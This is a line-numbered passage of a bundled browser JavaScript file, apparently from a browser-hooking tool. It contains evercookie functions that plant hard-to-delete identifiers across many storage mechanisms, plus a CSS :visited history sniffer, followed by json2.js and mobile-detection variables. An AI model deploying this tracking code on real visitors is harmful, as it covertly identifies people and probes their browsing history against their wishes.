  2488. self._ec.pngData += String.fromCharCode(pix[i+2]);
  2489. }
  2490. }
  2491. }
  2492. }
  2493. };
  2494.  
  2495. this.evercookie_local_storage = function(name, value)
  2496. {
  2497. try
  2498. {
  2499. if (window.localStorage)
  2500. {
  2501. if (typeof(value) != "undefined")
  2502. localStorage.setItem(name, value);
  2503. else
  2504. return localStorage.getItem(name);
  2505. }
  2506. }
  2507. catch (e) { }
  2508. };
  2509.  
  2510. this.evercookie_database_storage = function(name, value)
  2511. {
  2512. try
  2513. {
  2514. if (window.openDatabase)
  2515. {
  2516. var database = window.openDatabase("sqlite_evercookie", "", "evercookie",
  2517.  
  2518. 1024 * 1024);
  2519.  
  2520. if (typeof(value) != "undefined")
  2521. database.transaction(function(tx)
  2522. {
  2523. tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
  2524. "id INTEGER NOT NULL PRIMARY KEY
  2525.  
  2526. AUTOINCREMENT, " +
  2527. "name TEXT NOT NULL, " +
  2528. "value TEXT NOT NULL, " +
  2529. "UNIQUE (name)" +
  2530. ")", [], function (tx, rs) { }, function (tx, err) { });
  2531.  
  2532. tx.executeSql("INSERT OR REPLACE INTO cache(name,
  2533.  
  2534. value) VALUES(?, ?)", [name, value],
  2535. function (tx, rs) { }, function (tx, err) { })
  2536. });
  2537. else
  2538. {
  2539. database.transaction(function(tx)
  2540. {
  2541. tx.executeSql("SELECT value FROM cache WHERE name=?",
  2542.  
  2543. [name],
  2544. function(tx, result1) {
  2545. if (result1.rows.length >= 1)
  2546. self._ec.dbData = result1.rows.item(0)
  2547.  
  2548. ['value'];
  2549. else
  2550. self._ec.dbData = '';
  2551. }, function (tx, err) { })
  2552. });
  2553. }
  2554. }
  2555. } catch(e) { }
  2556. };
  2557.  
  2558. this.evercookie_session_storage = function(name, value)
  2559. {
  2560. try
  2561. {
  2562. if (window.sessionStorage)
  2563. {
  2564. if (typeof(value) != "undefined")
  2565. sessionStorage.setItem(name, value);
  2566. else
  2567. return sessionStorage.getItem(name);
  2568. }
  2569. } catch(e) { }
  2570. };
  2571.  
  2572. this.evercookie_global_storage = function(name, value)
  2573. {
  2574. if (window.globalStorage)
  2575. {
  2576. var host = this.getHost();
  2577.  
  2578. try
  2579. {
  2580. if (typeof(value) != "undefined")
  2581. eval("globalStorage[host]." + name + " = value");
  2582. else
  2583. return eval("globalStorage[host]." + name);
  2584. } catch(e) { }
  2585. }
  2586. };
  2587. this.evercookie_silverlight = function(name, value) {
  2588. /*
  2589. * Create silverlight embed
  2590. *
  2591. * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including
  2592.  
  2593. params), so this
  2594. * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
  2595. */
  2596. var source = "evercookie.xap";
  2597. var minver = "4.0.50401.0";
  2598.  
  2599. var initParam = "";
  2600. if(typeof(value) != "undefined")
  2601. initParam = '<param name="initParams" value="'+name+'='+value+'" />';
  2602.  
  2603. var html =
  2604. '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight"
  2605.  
  2606. width="0" height="0">' +
  2607. initParam +
  2608. '<param name="source" value="'+source+'"/>' +
  2609. '<param name="onLoad" value="onSilverlightLoad"/>' +
  2610. '<param name="onError" value="onSilverlightError"/>' +
  2611. '<param name="background" value="Transparent"/>' +
  2612. '<param name="windowless" value="true"/>' +
  2613. '<param name="minRuntimeVersion" value="'+minver+'"/>' +
  2614. '<param name="autoUpgrade" value="true"/>' +
  2615. '<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
  2616. '<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight"
  2617.  
  2618. style="border-style:none"/>' +
  2619. '</a>' +
  2620. '</object>';
  2621. document.body.innerHTML+=html;
  2622. };
  2623.  
  2624. // public method for encoding
  2625. this.encode = function (input) {
  2626. var output = "";
  2627. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  2628. var i = 0;
  2629.  
  2630. input = this._utf8_encode(input);
  2631.  
  2632. while (i < input.length) {
  2633.  
  2634. chr1 = input.charCodeAt(i++);
  2635. chr2 = input.charCodeAt(i++);
  2636. chr3 = input.charCodeAt(i++);
  2637.  
  2638. enc1 = chr1 >> 2;
  2639. enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  2640. enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  2641. enc4 = chr3 & 63;
  2642.  
  2643. if (isNaN(chr2)) {
  2644. enc3 = enc4 = 64;
  2645. } else if (isNaN(chr3)) {
  2646. enc4 = 64;
  2647. }
  2648.  
  2649. output = output +
  2650. _baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
  2651. _baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
  2652.  
  2653. }
  2654.  
  2655. return output;
  2656. };
  2657.  
  2658. // public method for decoding
  2659. this.decode = function (input) {
  2660. var output = "";
  2661. var chr1, chr2, chr3;
  2662. var enc1, enc2, enc3, enc4;
  2663. var i = 0;
  2664.  
  2665. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  2666.  
  2667. while (i < input.length) {
  2668. enc1 = _baseKeyStr.indexOf(input.charAt(i++));
  2669. enc2 = _baseKeyStr.indexOf(input.charAt(i++));
  2670. enc3 = _baseKeyStr.indexOf(input.charAt(i++));
  2671. enc4 = _baseKeyStr.indexOf(input.charAt(i++));
  2672.  
  2673. chr1 = (enc1 << 2) | (enc2 >> 4);
  2674. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  2675. chr3 = ((enc3 & 3) << 6) | enc4;
  2676.  
  2677. output = output + String.fromCharCode(chr1);
  2678.  
  2679. if (enc3 != 64) {
  2680. output = output + String.fromCharCode(chr2);
  2681. }
  2682. if (enc4 != 64) {
  2683. output = output + String.fromCharCode(chr3);
  2684. }
  2685.  
  2686. }
  2687.  
  2688. output = this._utf8_decode(output);
  2689.  
  2690. return output;
  2691.  
  2692. };
  2693.  
  2694. // private method for UTF-8 encoding
  2695. this._utf8_encode = function (string) {
  2696. string = string.replace(/\r\n/g,"\n");
  2697. var utftext = "";
  2698.  
  2699. for (var n = 0; n < string.length; n++) {
  2700.  
  2701. var c = string.charCodeAt(n);
  2702.  
  2703. if (c < 128) {
  2704. utftext += String.fromCharCode(c);
  2705. }
  2706. else if((c > 127) && (c < 2048)) {
  2707. utftext += String.fromCharCode((c >> 6) | 192);
  2708. utftext += String.fromCharCode((c & 63) | 128);
  2709. }
  2710. else {
  2711. utftext += String.fromCharCode((c >> 12) | 224);
  2712. utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  2713. utftext += String.fromCharCode((c & 63) | 128);
  2714. }
  2715.  
  2716. }
  2717.  
  2718. return utftext;
  2719. };
  2720.  
  2721. // private method for UTF-8 decoding
  2722. this._utf8_decode = function (utftext) {
  2723. var string = "";
  2724. var i = 0;
  2725. var c = c1 = c2 = 0;
  2726.  
  2727. while ( i < utftext.length ) {
  2728.  
  2729. c = utftext.charCodeAt(i);
  2730.  
  2731. if (c < 128) {
  2732. string += String.fromCharCode(c);
  2733. i++;
  2734. }
  2735. else if((c > 191) && (c < 224)) {
  2736. c2 = utftext.charCodeAt(i+1);
  2737. string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  2738. i += 2;
  2739. }
  2740. else {
  2741. c2 = utftext.charCodeAt(i+1);
  2742. c3 = utftext.charCodeAt(i+2);
  2743. string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  2744. i += 3;
  2745. }
  2746.  
  2747. }
  2748.  
  2749. return string;
  2750. };
  2751.  
  2752. // this is crazy but it's 4am in dublin and i thought this would be hilarious
  2753. // blame the guinness
  2754. this.evercookie_history = function(name, value)
  2755. {
  2756. // - is special
  2757. var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
  2758. var baseElems = baseStr.split("");
  2759.  
  2760. // sorry google.
  2761. var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
  2762.  
  2763. if (typeof(value) != "undefined")
  2764. {
  2765. // don't reset this if we already have it set once
  2766. // too much data and you can't clear previous values
  2767. if (this.hasVisited(url))
  2768. return;
  2769.  
  2770. this.createIframe(url, 'if');
  2771. url = url + '/';
  2772.  
  2773. var base = this.encode(value).split("");
  2774. for (var i = 0; i < base.length; i++)
  2775. {
  2776. url = url + base[i];
  2777. this.createIframe(url, 'if' + i);
  2778. }
  2779.  
  2780. // - signifies the end of our data
  2781. url = url + '-';
  2782. this.createIframe(url, 'if_');
  2783. }
  2784. else
  2785. {
  2786. // omg you got csspwn3d
  2787. if (this.hasVisited(url))
  2788. {
  2789. url = url + '/';
  2790.  
  2791. var letter = "";
  2792. var val = "";
  2793. var found = 1;
  2794. while (letter != '-' && found == 1)
  2795. {
  2796. found = 0;
  2797. for (var i = 0; i < baseElems.length; i++)
  2798. {
  2799. if (this.hasVisited(url + baseElems[i]))
  2800. {
  2801. letter = baseElems[i];
  2802. if (letter != '-')
  2803. val = val + letter;
  2804. url = url + letter;
  2805. found = 1;
  2806. break;
  2807. }
  2808. }
  2809. }
  2810.  
  2811. // lolz
  2812. return this.decode(val);
  2813. }
  2814. }
  2815. };
  2816.  
  2817. this.createElem = function(type, name, append)
  2818. {
  2819. var el;
  2820. if (typeof name != 'undefined' && document.getElementById(name))
  2821. el = document.getElementById(name);
  2822. else
  2823. el = document.createElement(type);
  2824. el.style.visibility = 'hidden';
  2825. el.style.position = 'absolute';
  2826.  
  2827. if (name)
  2828. el.setAttribute('id', name);
  2829.  
  2830. if (append)
  2831. document.body.appendChild(el);
  2832.  
  2833. return el;
  2834. };
  2835.  
  2836. this.createIframe = function(url, name)
  2837. {
  2838. var el = this.createElem('iframe', name, 1);
  2839. el.setAttribute('src', url);
  2840. return el;
  2841. };
  2842.  
  2843. // wait for our swfobject to appear (swfobject.js to load)
  2844. this.waitForSwf = function(i)
  2845. {
  2846. if (typeof i == 'undefined')
  2847. i = 0;
  2848. else
  2849. i++;
  2850.  
  2851. // wait for ~2 seconds for swfobject to appear
  2852. if (i < _ec_tests && typeof swfobject == 'undefined')
  2853. setTimeout(function() { waitForSwf(i) }, 300);
  2854. };
  2855.  
  2856. this.evercookie_cookie = function(name, value)
  2857. {
  2858. try{
  2859. if (typeof(value) != "undefined")
  2860. {
  2861. // expire the cookie first
  2862. document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  2863. document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  2864. }
  2865. else
  2866. return this.getFromStr(name, document.cookie);
  2867. }catch(e){
  2868. // the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
  2869. // evercookie_userdata and evercookie_window will be used in this case.
  2870. }
  2871. };
  2872.  
  2873. // get value from param-like string (eg, "x=y&name=VALUE")
  2874. this.getFromStr = function(name, text)
  2875. {
  2876. if (typeof text != 'string')
  2877. return;
  2878.  
  2879. var nameEQ = name + "=";
  2880. var ca = text.split(/[;&]/);
  2881. for (var i = 0; i < ca.length; i++)
  2882. {
  2883. var c = ca[i];
  2884. while (c.charAt(0) == ' ')
  2885. c = c.substring(1, c.length);
  2886. if (c.indexOf(nameEQ) == 0)
  2887. return c.substring(nameEQ.length, c.length);
  2888. }
  2889. };
  2890.  
  2891. this.getHost = function()
  2892. {
  2893. var domain = document.location.host;
  2894. if (domain.indexOf('www.') == 0)
  2895. domain = domain.replace('www.', '');
  2896. return domain;
  2897. };
  2898.  
  2899. this.toHex = function(str)
  2900. {
  2901. var r = "";
  2902. var e = str.length;
  2903. var c = 0;
  2904. var h;
  2905. while (c < e)
  2906. {
  2907. h = str.charCodeAt(c++).toString(16);
  2908. while (h.length < 2)
  2909. h = "0" + h;
  2910. r += h;
  2911. }
  2912. return r;
  2913. };
  2914.  
  2915. this.fromHex = function(str)
  2916. {
  2917. var r = "";
  2918. var e = str.length;
  2919. var s;
  2920. while (e >= 0)
  2921. {
  2922. s = e - 2;
  2923. r = String.fromCharCode("0x" + str.substring(s, e)) + r;
  2924. e = s;
  2925. }
  2926. return r;
  2927. };
  2928.  
  2929. /*
  2930. * css history knocker (determine what sites your visitors have been to)
  2931. *
  2932. * originally by Jeremiah Grossman
  2933. * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
  2934. *
  2935. * ported to additional browsers by Samy Kamkar
  2936. *
  2937. * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
  2938. *
  2939. */
  2940.  
  2941.  
  2942. this.hasVisited = function(url)
  2943. {
  2944. if (this.no_color == -1)
  2945. {
  2946. var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -
  2947.  
  2948. 1);
  2949. if (no_style == -1)
  2950. this.no_color =
  2951. this._getRGB("http://samy-was-here-"+Math.floor(Math.random()
  2952.  
  2953. *9999999)+"rand.com");
  2954. }
  2955.  
  2956. // did we give full url?
  2957. if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
  2958. return this._testURL(url, this.no_color);
  2959.  
  2960. // if not, just test a few diff types if (exact)
  2961. return this._testURL("http://" + url, this.no_color) ||
  2962. this._testURL("https://" + url, this.no_color) ||
  2963. this._testURL("http://www." + url, this.no_color) ||
  2964. this._testURL("https://www." + url, this.no_color);
  2965. };
  2966.  
  2967. /* create our anchor tag */
  2968. var _link = this.createElem('a', '_ec_rgb_link');
  2969.  
  2970. /* for monitoring */
  2971. var created_style;
  2972.  
  2973. /* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
  2974. var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
  2975.  
  2976. /* Methods for IE6, IE7, FF, Opera, and Safari */
  2977. try {
  2978. created_style = 1;
  2979. var style = document.createElement('style');
  2980. if (style.styleSheet)
  2981. style.styleSheet.innerHTML = _cssText;
  2982. else if (style.innerHTML)
  2983. style.innerHTML = _cssText;
  2984. else
  2985. {
  2986. var cssT = document.createTextNode(_cssText);
  2987. style.appendChild(cssT);
  2988. }
  2989. } catch (e) {
  2990. created_style = 0;
  2991. }
  2992.  
  2993. /* if test_color, return -1 if we can't set a style */
  2994. this._getRGB = function (u, test_color) {
  2995. if (test_color && created_style == 0)
  2996. return -1;
  2997.  
  2998. /* create the new anchor tag with the appropriate URL information */
  2999. _link.href = u;
  3000. _link.innerHTML = u;
  3001. // not sure why, but the next two appendChilds always have to happen vs just once
  3002. document.body.appendChild(style);
  3003. document.body.appendChild(_link);
  3004.  
  3005. /* add the link to the DOM and save the visible computed color */
  3006. var color;
  3007. if (document.defaultView)
  3008. color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
  3009. else
  3010. color = _link.currentStyle['color'];
  3011.  
  3012. return color;
  3013. };
  3014.  
  3015. this._testURL = function(url, no_color){
  3016. var color = this._getRGB(url);
  3017.  
  3018. /* check to see if the link has been visited if the computed color is red */
  3019. if (color == "rgb(255, 0, 0)" || color == "#ff0000")
  3020. return 1;
  3021.  
  3022. /* if our style trick didn't work, just compare default style colors */
  3023. else if (no_color && color != no_color)
  3024. return 1;
  3025.  
  3026. /* not found */
  3027. return 0;
  3028. }
  3029.  
  3030. };
  3031.  
  3032. return _class;
  3033. })();
  3034.  
  3035.  
  3036. /*
  3037. * Again, ugly workaround....same problem as flash.
  3038. */
  3039. var _global_isolated;
  3040. function onSilverlightLoad(sender, args) {
  3041. var control = sender.getHost();
  3042. _global_isolated = control.Content.App.getIsolatedStorage();
  3043. }
  3044. /*
  3045. function onSilverlightError(sender, args) {
  3046. _global_isolated = "";
  3047.  
  3048. }*/
  3049. function onSilverlightError(sender, args) {
  3050. _global_isolated = "";
  3051. }
  3052.  
  3053.  
  3054. /*
  3055. https://github.com/douglascrockford/JSON-js/blob/master/json2.js
  3056. 2011-02-23
  3057.  
  3058. // Create a JSON object only if one does not already exist. We create the
  3059. // methods in a closure to avoid creating global variables.
  3060. */
  3061.  
  3062. var JSON;
  3063. if (!JSON) {
  3064. JSON = {};
  3065. }
  3066.  
  3067. (function () {
  3068. "use strict";
  3069.  
  3070. function f(n) {
  3071. // Format integers to have at least two digits.
  3072. return n < 10 ? '0' + n : n;
  3073. }
  3074.  
  3075. if (typeof Date.prototype.toJSON !== 'function') {
  3076.  
  3077. Date.prototype.toJSON = function (key) {
  3078.  
  3079. return isFinite(this.valueOf()) ?
  3080. this.getUTCFullYear() + '-' +
  3081. f(this.getUTCMonth() + 1) + '-' +
  3082. f(this.getUTCDate()) + 'T' +
  3083. f(this.getUTCHours()) + ':' +
  3084. f(this.getUTCMinutes()) + ':' +
  3085. f(this.getUTCSeconds()) + 'Z' : null;
  3086. };
  3087.  
  3088. String.prototype.toJSON =
  3089. Number.prototype.toJSON =
  3090. Boolean.prototype.toJSON = function (key) {
  3091. return this.valueOf();
  3092. };
  3093. }
  3094.  
  3095. var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff
  3096.  
  3097. \ufff0-\uffff]/g,
  3098. escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f
  3099.  
  3100. \u2060-\u206f\ufeff\ufff0-\uffff]/g,
  3101. gap,
  3102. indent,
  3103. meta = { // table of character substitutions
  3104. '\b': '\\b',
  3105. '\t': '\\t',
  3106. '\n': '\\n',
  3107. '\f': '\\f',
  3108. '\r': '\\r',
  3109. '"' : '\\"',
  3110. '\\': '\\\\'
  3111. },
  3112. rep;
  3113.  
  3114.  
  3115. function quote(string) {
  3116.  
  3117. // If the string contains no control characters, no quote characters, and no
  3118. // backslash characters, then we can safely slap some quotes around it.
  3119. // Otherwise we must also replace the offending characters with safe escape
  3120. // sequences.
  3121.  
  3122. escapable.lastIndex = 0;
  3123. return escapable.test(string) ? '"' + string.replace(escapable, function (a) {
  3124. var c = meta[a];
  3125. return typeof c === 'string' ? c :
  3126. '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
  3127. }) + '"' : '"' + string + '"';
  3128. }
  3129.  
  3130.  
  3131. function str(key, holder) {
  3132.  
  3133. // Produce a string from holder[key].
  3134.  
  3135. var i, // The loop counter.
  3136. k, // The member key.
  3137. v, // The member value.
  3138. length,
  3139. mind = gap,
  3140. partial,
  3141. value = holder[key];
  3142.  
  3143. // If the value has a toJSON method, call it to obtain a replacement value.
  3144.  
  3145. if (value && typeof value === 'object' &&
  3146. typeof value.toJSON === 'function') {
  3147. value = value.toJSON(key);
  3148. }
  3149.  
  3150. // If we were called with a replacer function, then call the replacer to
  3151. // obtain a replacement value.
  3152.  
  3153. if (typeof rep === 'function') {
  3154. value = rep.call(holder, key, value);
  3155. }
  3156.  
  3157. // What happens next depends on the value's type.
  3158.  
  3159. switch (typeof value) {
  3160. case 'string':
  3161. return quote(value);
  3162.  
  3163. case 'number':
  3164.  
  3165. // JSON numbers must be finite. Encode non-finite numbers as null.
  3166.  
  3167. return isFinite(value) ? String(value) : 'null';
  3168.  
  3169. case 'boolean':
  3170. case 'null':
  3171.  
  3172. // If the value is a boolean or null, convert it to a string. Note:
  3173. // typeof null does not produce 'null'. The case is included here in
  3174. // the remote chance that this gets fixed someday.
  3175.  
  3176. return String(value);
  3177.  
  3178. // If the type is 'object', we might be dealing with an object or an array or
  3179. // null.
  3180.  
  3181. case 'object':
  3182.  
  3183. // Due to a specification blunder in ECMAScript, typeof null is 'object',
  3184. // so watch out for that case.
  3185.  
  3186. if (!value) {
  3187. return 'null';
  3188. }
  3189.  
  3190. // Make an array to hold the partial results of stringifying this object value.
  3191.  
  3192. gap += indent;
  3193. partial = [];
  3194.  
  3195. // Is the value an array?
  3196.  
  3197. if (Object.prototype.toString.apply(value) === '[object Array]') {
  3198.  
  3199. // The value is an array. Stringify every element. Use null as a placeholder
  3200. // for non-JSON values.
  3201.  
  3202. length = value.length;
  3203. for (i = 0; i < length; i += 1) {
  3204. partial[i] = str(i, value) || 'null';
  3205. }
  3206.  
  3207. // Join all of the elements together, separated with commas, and wrap them in
  3208. // brackets.
  3209.  
  3210. v = partial.length === 0 ? '[]' : gap ?
  3211. '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']' :
  3212. '[' + partial.join(',') + ']';
  3213. gap = mind;
  3214. return v;
  3215. }
  3216.  
  3217. // If the replacer is an array, use it to select the members to be stringified.
  3218.  
  3219. if (rep && typeof rep === 'object') {
  3220. length = rep.length;
  3221. for (i = 0; i < length; i += 1) {
  3222. if (typeof rep[i] === 'string') {
  3223. k = rep[i];
  3224. v = str(k, value);
  3225. if (v) {
  3226. partial.push(quote(k) + (gap ? ': ' : ':') + v);
  3227. }
  3228. }
  3229. }
  3230. } else {
  3231.  
  3232. // Otherwise, iterate through all of the keys in the object.
  3233.  
  3234. for (k in value) {
  3235. if (Object.prototype.hasOwnProperty.call(value, k)) {
  3236. v = str(k, value);
  3237. if (v) {
  3238. partial.push(quote(k) + (gap ? ': ' : ':') + v);
  3239. }
  3240. }
  3241. }
  3242. }
  3243.  
  3244. // Join all of the member texts together, separated with commas,
  3245. // and wrap them in braces.
  3246.  
  3247. v = partial.length === 0 ? '{}' : gap ?
  3248. '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}' :
  3249. '{' + partial.join(',') + '}';
  3250. gap = mind;
  3251. return v;
  3252. }
  3253. }
  3254.  
  3255. // If the JSON object does not yet have a stringify method, give it one.
  3256.  
  3257. if (typeof JSON.stringify !== 'function') {
  3258. JSON.stringify = function (value, replacer, space) {
  3259.  
  3260. // The stringify method takes a value and an optional replacer, and an optional
  3261. // space parameter, and returns a JSON text. The replacer can be a function
  3262. // that can replace values, or an array of strings that will select the keys.
  3263. // A default replacer method can be provided. Use of the space parameter can
  3264. // produce text that is more easily readable.
  3265.  
  3266. var i;
  3267. gap = '';
  3268. indent = '';
  3269.  
  3270. // If the space parameter is a number, make an indent string containing that
  3271. // many spaces.
  3272.  
  3273. if (typeof space === 'number') {
  3274. for (i = 0; i < space; i += 1) {
  3275. indent += ' ';
  3276. }
  3277.  
  3278. // If the space parameter is a string, it will be used as the indent string.
  3279.  
  3280. } else if (typeof space === 'string') {
  3281. indent = space;
  3282. }
  3283.  
  3284. // If there is a replacer, it must be a function or an array.
  3285. // Otherwise, throw an error.
  3286.  
  3287. rep = replacer;
  3288. if (replacer && typeof replacer !== 'function' &&
  3289. (typeof replacer !== 'object' ||
  3290. typeof replacer.length !== 'number')) {
  3291. throw new Error('JSON.stringify');
  3292. }
  3293.  
  3294. // Make a fake root object containing our value under the key of ''.
  3295. // Return the result of stringifying the value.
  3296.  
  3297. return str('', {'': value});
  3298. };
  3299. }
  3300.  
  3301.  
  3302. // If the JSON object does not yet have a parse method, give it one.
  3303.  
  3304. if (typeof JSON.parse !== 'function') {
  3305. JSON.parse = function (text, reviver) {
  3306.  
  3307. // The parse method takes a text and an optional reviver function, and returns
  3308. // a JavaScript value if the text is a valid JSON text.
  3309.  
  3310. var j;
  3311.  
  3312. function walk(holder, key) {
  3313.  
  3314. // The walk method is used to recursively walk the resulting structure so
  3315. // that modifications can be made.
  3316.  
  3317. var k, v, value = holder[key];
  3318. if (value && typeof value === 'object') {
  3319. for (k in value) {
  3320. if (Object.prototype.hasOwnProperty.call(value, k)) {
  3321. v = walk(value, k);
  3322. if (v !== undefined) {
  3323. value[k] = v;
  3324. } else {
  3325. delete value[k];
  3326. }
  3327. }
  3328. }
  3329. }
  3330. return reviver.call(holder, key, value);
  3331. }
  3332.  
  3333.  
  3334. // Parsing happens in four stages. In the first stage, we replace certain
  3335. // Unicode characters with escape sequences. JavaScript handles many characters
  3336. // incorrectly, either silently deleting them, or treating them as line endings.
  3337.  
  3338. text = String(text);
  3339. cx.lastIndex = 0;
  3340. if (cx.test(text)) {
  3341. text = text.replace(cx, function (a) {
  3342. return '\\u' +
  3343. ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
  3344. });
  3345. }
  3346.  
  3347. // In the second stage, we run the text against regular expressions that look
  3348. // for non-JSON patterns. We are especially concerned with '()' and 'new'
  3349. // because they can cause invocation, and '=' because it can cause mutation.
  3350. // But just to be safe, we want to reject all unexpected forms.
  3351.  
  3352. // We split the second stage into 4 regexp operations in order to work around
  3353. // crippling inefficiencies in IE's and Safari's regexp engines. First we
  3354. // replace the JSON backslash pairs with '@' (a non-JSON character). Second, we
  3355. // replace all simple value tokens with ']' characters. Third, we delete all
  3356. // open brackets that follow a colon or comma or that begin the text. Finally,
  3357. // we look to see that the remaining characters are only whitespace or ']' or
  3358. // ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
  3359.  
  3360. if (/^[\],:{}\s]*$/
  3361. .test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
  3362. .replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']')
  3363. .replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
  3364.  
  3365. // In the third stage we use the eval function to compile the text into a
  3366. // JavaScript structure. The '{' operator is subject to a syntactic ambiguity
  3367. // in JavaScript: it can begin a block or an object literal. We wrap the text
  3368. // in parens to eliminate the ambiguity.
  3369.  
  3370. j = eval('(' + text + ')');
  3371.  
  3372. // In the optional fourth stage, we recursively walk the new structure, passing
  3373. // each name/value pair to a reviver function for possible transformation.
  3374.  
  3375. return typeof reviver === 'function' ?
  3376. walk({'': j}, '') : j;
  3377. }
  3378.  
  3379. // If the text is not JSON parseable, then a SyntaxError is thrown.
  3380.  
  3381. throw new SyntaxError('JSON.parse');
  3382. };
  3383. }
  3384. }());
  3385.  
  3386.  
  3387.  
  3388. /* *******************************************
  3389. // Copyright 2010-2012, Anthony Hand
  3390. // mdetect : http://code.google.com/p/mobileesp/source/browse/JavaScript/mdetect.js r215
  3391. // LICENSE INFORMATION
  3392. // Licensed under the Apache License, Version 2.0 (the "License");
  3393. // you may not use this file except in compliance with the License.
  3394. // You may obtain a copy of the License at
  3395. // http://www.apache.org/licenses/LICENSE-2.0
  3396. // Unless required by applicable law or agreed to in writing,
  3397. // software distributed under the License is distributed on an
  3398. // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
  3399. // either express or implied. See the License for the specific
  3400. // language governing permissions and limitations under the License.
  3401. // *******************************************
  3402. */
  3403.  
  3404. var isIphone = false;
  3405. var isAndroidPhone = false;
  3406. var isTierTablet = false;
  3407. var isTierIphone = false;
  3408. var isTierRichCss = false;
  3409. var isTierGenericMobile = false;
  3410.  
  3411. var engineWebKit = "webkit";
  3412. var deviceIphone = "iphone";
  3413. var deviceIpod = "ipod";
  3414. var deviceIpad = "ipad";
  3415. var deviceMacPpc = "macintosh"; //Used for disambiguation
  3416.  
  3417. var deviceAndroid = "android";
  3418. var deviceGoogleTV = "googletv";
  3419. var deviceXoom = "xoom"; //Motorola Xoom
  3420. var deviceHtcFlyer = "htc_flyer"; //HTC Flyer
  3421.  
  3422. var deviceNuvifone = "nuvifone"; //Garmin Nuvifone
  3423.  
  3424. var deviceSymbian = "symbian";
  3425. var deviceS60 = "series60";
  3426. var deviceS70 = "series70";
  3427. var deviceS80 = "series80";
  3428. var deviceS90 = "series90";
  3429.  
  3430. var deviceWinPhone7 = "windows phone os 7";
  3431. var deviceWinMob = "windows ce";
  3432. var deviceWindows = "windows";
  3433. var deviceIeMob = "iemobile";
  3434. var devicePpc = "ppc"; //Stands for PocketPC
  3435. var enginePie = "wm5 pie"; //An old Windows Mobile
  3436.  
  3437. var deviceBB = "blackberry";
  3438. var vndRIM = "vnd.rim"; //Detectable when BB devices emulate IE or Firefox
  3439. var deviceBBStorm = "blackberry95"; //Storm 1 and 2
  3440. var deviceBBBold = "blackberry97"; //Bold 97x0 (non-touch)
  3441. var deviceBBBoldTouch = "blackberry 99"; //Bold 99x0 (touchscreen)
  3442. var deviceBBTour = "blackberry96"; //Tour
  3443. var deviceBBCurve = "blackberry89"; //Curve 2
  3444. var deviceBBCurveTouch = "blackberry 938"; //Curve Touch 9380
  3445. var deviceBBTorch = "blackberry 98"; //Torch
  3446. var deviceBBPlaybook = "playbook"; //PlayBook tablet
  3447.  
  3448. var devicePalm = "palm";
  3449. var deviceWebOS = "webos"; //For Palm's line of WebOS devices
  3450. var deviceWebOShp = "hpwos"; //For HP's line of WebOS devices
  3451.  
  3452. var engineBlazer = "blazer"; //Old Palm browser
  3453. var engineXiino = "xiino";
  3454.  
  3455. var deviceKindle = "kindle"; //Amazon Kindle, eInk one
  3456. var engineSilk = "silk"; //Amazon's accelerated Silk browser for Kindle Fire
  3457.  
  3458. var vndwap = "vnd.wap";
  3459. var wml = "wml";
  3460.  
  3461. var deviceTablet = "tablet"; //Generic term for slate and tablet devices
  3462. var deviceBrew = "brew";
  3463. var deviceDanger = "danger";
  3464. var deviceHiptop = "hiptop";
  3465. var devicePlaystation = "playstation";
  3466. var deviceNintendoDs = "nitro";
  3467. var deviceNintendo = "nintendo";
  3468. var deviceWii = "wii";
  3469. var deviceXbox = "xbox";
  3470. var deviceArchos = "archos";
  3471.  
  3472. var engineOpera = "opera"; //Popular browser
  3473. var engineNetfront = "netfront"; //Common embedded OS browser
  3474. var engineUpBrowser = "up.browser"; //common on some phones
  3475. var engineOpenWeb = "openweb"; //Transcoding by OpenWave server
  3476. var deviceMidp = "midp"; //a mobile Java technology
  3477. var uplink = "up.link";
  3478. var engineTelecaQ = 'teleca q'; //a modern feature phone browser
  3479.  
  3480. var devicePda = "pda";
